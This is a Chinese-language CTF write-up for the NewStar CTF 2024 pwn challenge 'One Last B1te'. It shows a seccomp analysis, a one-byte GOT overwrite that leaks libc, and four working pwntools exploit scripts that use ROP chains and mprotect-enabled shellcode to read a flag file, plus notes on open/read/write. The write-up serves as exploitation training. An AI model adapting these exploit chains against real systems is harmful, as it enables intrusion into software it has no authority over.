本文最后更新于 2024-11-28T10:54:48+08:00
Week3_One_Last_B1te 安全策略
查看沙盒限制
1 seccomp-tools dump ./pwn
0008:是return ALLOW所以当goto 0008就是只允许
0009:是return KILL所以当goto 0009就是禁止
逆向分析
修改buf指针的地址,可以随机写入1字节数据,由于存在延迟绑定(第一次调用函数时通过指针调用函数),修改close的plt指向write泄露libc或ld地址
修改都将修改地址存放值
exp
mprotect开拓空间,read_orw,ret
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import * context(log_level = 'debug' ,arch = 'amd64' ) p = remote('192.168.65.1' , 6666 ) elf = ELF('./pwn' ) libc = ELF('./libc.so.6' )def sa (s, n ): return p.sendafter(s, n)def sla (s, n ): return p.sendlineafter(s, n)def sl (s ): return p.sendline(s)def sd (s ): return p.send(s)def rc (n ): return p.recv(n)def ru (s ): return p.recvuntil(s)def ti (): return p.interactive() ret = 0x401144 main = 0x4013A3 sd(p64(elf.got['close' ])) sd(b'\xc0' ) sd(b'a' *0x18 +p64(ret)+p64(main)) ru(b'a' *0x18 ) rc(0xa0 ) libc_base = u64(rc(6 ).ljust(8 ,b'\x00' ))print (hex (libc_base)) libc_base -= 0x2A28B rubbish = 0x404800 sd(p64(rubbish)) sd(b'\x00' ) pop_rdi = libc_base + 0x10f75b pop_rsi = libc_base + 0x110a4d xchg_eax_edx = libc_base + 0x1a7f27 pop_rax = libc_base + 0xdd237 read_a = libc_base + 0x11BA50 mprotect = libc_base + 0x125C10 pop_rax = libc_base + 0xdd237 payload = b'a' *0x18 +p64(pop_rdi)+p64(libc_base+0x202000 )+p64(pop_rsi)+p64(0x2000 )+p64(pop_rax)+p64(7 )+p64(xchg_eax_edx)+p64(mprotect)+p64(pop_rdi)+p64(0 )+p64(pop_rsi)+p64(libc_base+0x202000 )+p64(pop_rax)+p64(0x1000 )+p64(xchg_eax_edx)+p64(read_a)+p64(libc_base+0x202000 ) sd(payload) shellcode = '' shellcode += shellcraft.open ('./flag' ,0 ,0 ) shellcode += shellcraft.read('rax' ,libc_base+0x202000 +0x800 ,0x200 ) shellcode += shellcraft.write(2 ,libc_base+0x202000 +0x800 ,'rax' ) sd(asm(shellcode)) ti()
ROP链执行orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import * context(log_level = 'debug' ,arch = 'amd64' ,os='linux' ) p = remote('192.168.65.1' , 6666 ) elf = ELF('./pwn' ) libc = ELF('./libc.so.6' )def sa (s, n ): return p.sendafter(s, n)def sla (s, n ): return p.sendlineafter(s, n)def sl (s ): return p.sendline(s)def sd (s ): return p.send(s)def rc (n ): return p.recv(n)def ru (s ): return p.recvuntil(s)def ti (): return p.interactive()def get_addr (): return u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) close_got = elf.got['close' ] ru(b'Show me your UN-Lucky number : ' ) sd(p64(close_got)) ru(b'Try to hack your UN-Lucky number with one byte :' ) sd(b'\x00' ) sd(b'a' *0x10 +p64(0x404200 )+p64(0x4013D2 )) ru(b'a' *0x10 )for i in range (7 ): libc_base = ru(b'\x7f' ) libc_base = u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))print (hex (libc_base)) libc_base -= 0x2a28b sd(p64(close_got)) ru(b'Try to hack your UN-Lucky number with one byte :' ) sd(b'\x00' ) pop_rdi = libc_base + 0x10f75b pop_rsi = libc_base + 0x110a4d pop_rax = libc_base + 0xdd237 open_a = libc_base + libc.sym['open' ] read_a = libc_base + libc.sym['read' ] write_a = libc_base + libc.sym['write' ] payload = b'/flag\x00\x00\x00' +b'a' *0x10 +p64(pop_rdi)+p64(0x4041f0 )+p64(pop_rsi)+p64(0 )+p64(open_a)+p64(pop_rdi)+p64(0x404000 )+p64(pop_rsi)+p64(0x404080 +5 )+p64(libc_base+0xbf450 )+p64(pop_rdi)+p64(3 )+p64(pop_rsi)+p64(0x404200 )+p64(read_a)+p64(pop_rdi)+p64(1 )+p64(pop_rsi)+p64(0x404200 )+p64(write_a) sd(payload) ti()
参考
泄露了__libc_start_main+139
官方wp 使用mprotect给一个空间执行权限,读写shellcode到目标空间,跳转执行
通过xchg指令给rdx寄存器赋值
One Last B1te | WriteUp - NewStar CTF 2024
修改close_got的重定向地址,close_plt = 0x4010f0,修改地址的低字节即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *from Crypto.Util.number import long_to_bytes, bytes_to_long context(log_level='debug' ,arch='amd64' ,os='linux' ) ELFpath = './pwn' p=remote('192.168.65.1' ,6666 ) close_got=0x404028 write_plt=0x4010c0 p.sendafter("Show me your UN-Lucky number :" ,p64(close_got)) p.sendafter("Try to hack your UN-Lucky number with one byte :" ,b'\xc0' ) ret=0x0401447 main=0x4013a3 rubbish=0x404000 +0x800 payload=b'a' *0x18 +p64(ret)+p64(main) pause() p.send(payload) p.recvuntil(b'a' *0x18 ) p.recv(0xb8 -0x18 ) libc_base=u64(p.recv(6 )+b'\x00\x00' )-0x710b26c2a28b +0x710b26c00000 p.sendafter("Show me your UN-Lucky number :" ,p64(rubbish)) p.sendafter("Try to hack your UN-Lucky number with one byte :" ,b'\x70' ) pop_rdi=libc_base+0x010f75b pop_rsi=libc_base+0x110a4d binsh=libc_base+0x1cb42f xchg_edx_eax=libc_base+0x01a7f27 pop_rax=libc_base+0x0dd237 open_a=libc_base+0x011B120 read_a=libc_base+0x011BA50 mprotect=libc_base+0x00125C10 payload=b'a' *0x18 +p64(pop_rdi)+p64(libc_base+0x202000 )+p64(pop_rsi)+p64(0x2000 )+p64(pop_rax)+p64(7 )+p64(xchg_edx_eax)+p64(mprotect)+p64(pop_rdi)+p64(0 )+p64(pop_rsi)+p64(libc_base+0x202000 )+p64(pop_rax)+p64(0x1000 )+p64(xchg_edx_eax)+p64(read_a)+p64(libc_base+0x202000 ) pause() p.send(payload) pause() shellcode='' shellcode+=shellcraft.open ('./flag' ,0 ,0 ) shellcode+=shellcraft.read('rax' ,libc_base+0x202000 +0x800 ,0x100 ) shellcode+=shellcraft.write(2 ,libc_base+0x202000 +0x800 ,'rax' ) p.send(asm(shellcode)) p.interactive()
不能用ROPgadget查系统调用,mprotect可以通过查找触发系统调用的指令序列来搜索,如搜syscall
、mov rax
xchg edx,eax;
是如何修改整个的rdx的
32位寄存器的写操作会自动清零寄存器的高32位,硬件架构为了简化操作和提高效率的一个特性
mprotect地址选择 libc中的.bss|.data|栈|堆|适合,plt|got|.text不推荐
orw中函数参数作用 open int open(const char *pathname, int flags, mode_t mode);
open(‘文件路径’,文件模式(0只读,1只写,2读写),mode(指定新文件权限,设0或0—类似linux文件权限))
成功:返回文件描述符,非负整数
失败:-1,设置为errno
1 确保文件以NULL
结尾,否则open会失败
2 程序运行用户对文件有读取权限
3 对于已存在的文件,mode会被忽略,任意值都不会产生影响
read ssize_t read(int fd, void *buf, size_t count);
read(文件描述符,缓冲区指针,最大读取字节数)
成功:返回实际读取字节数
失败:-1,设置为errno
write ssize_t write(int fd, const void *buf, size_t count);
write(文件描述符,数据源缓冲区指针,写入字节数)
成功:实际写入字节数
失败:返回-1,设置errno
文件描述符(fd) 用于标记和引用文件
标准输入(stdin):0
标准输出(stdout):1
标准错误(stderr):2
当使用 fork()
或 dup()
时,多个进程可以共享文件描述符,它们会指向相同的文件表项
大佬wp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *import sysimport struct elf=ELF('./one' ) p=remote('192.168.65.1' ,6666 ) libc=ELF('./libc.so.6' ) context(os='linux' ,arch='amd64' ,log_level='debug' )def s (a ): p.send(a)def sa (a, b ): p.sendafter(a, b)def sl (a ): p.sendline(a)def sla (a, b ): p.sendlineafter(a, b)def r (): p.recv()def pr (): print (p.recv())def li (a ): print (hex (a))def rl (a ): return p.recvuntil(a)def inter (): p.interactive()def get_32 (): return u32(p.recvuntil(b'\xf7' )[-4 :])def get_addr (): return u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' ))def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' ))def bug (): gdb.attach(p) pause() magic=0x00000000004011dc rl(b'Show me your UN-Lucky number : ' ) s(p64(elf.got['close' ])) rl(b'Try to hack your UN-Lucky number with one byte :' ) s(b'\x00' ) s(b'a' *0x10 +p64(0x404200 )+p64(0x4013D2 )) rl(b'a' *0x10 )for i in range (7 ): rl(b'\x00' ) libc_base=get_addr() libc_base=get_addr() libc_base=get_addr() libc_base=get_addr() libc_base=get_addr() libc_base=get_addr() libc_base=get_addr() libc_base=get_addr()-0x2a28b li(libc_base) system,bin =get_sb() rdi=libc_base+0x000000000010f75b rsi=libc_base+0x0000000000110a4d syscall=libc_base+0x0000000000098fa6 rax=libc_base+0x00000000000dd237 open_addr=libc_base+libc.sym['open' ] read_addr=libc_base + libc.sym['read' ] write_addr=libc_base + libc.sym['write' ] s(p64(elf.got['close' ])) rl(b'Try to hack your UN-Lucky number with one byte :' ) s(b'\x00' ) s(b'/flag\x00\x00\x00' +b'a' *0x10 +p64(rdi)+p64(0x4041f0 )+p64(rsi)+p64(0 )+p64(open_addr)+p64(rdi)+p64(0x404008 )+p64(rsi)+p64(0x404080 +5 )+p64(libc_base+0x00000000000bf450 )+p64(rdi)+p64(3 )+p64(rsi)+p64(0x404200 )+p64(read_addr)+p64(rdi)+p64(1 )+p64(rsi)+p64(0x404200 )+p64(write_addr)) inter()
下面是自己学习时写的
close_got修改为_init_proc
,test rax,rax,逻辑与测试rax是否为0,为0则ZF置为1,不为0则call rax;__gmon_start__
,返回到write函数
/flag --> /x2f/x66/x6c/x61/x67
太妙了,将rsi内存地址的值传入rdx,向rdi内存地址传入rdx,同时给rdx赋值
这里将stderr指向标准错误的值赋值给rdx
妄寻鱼师傅tql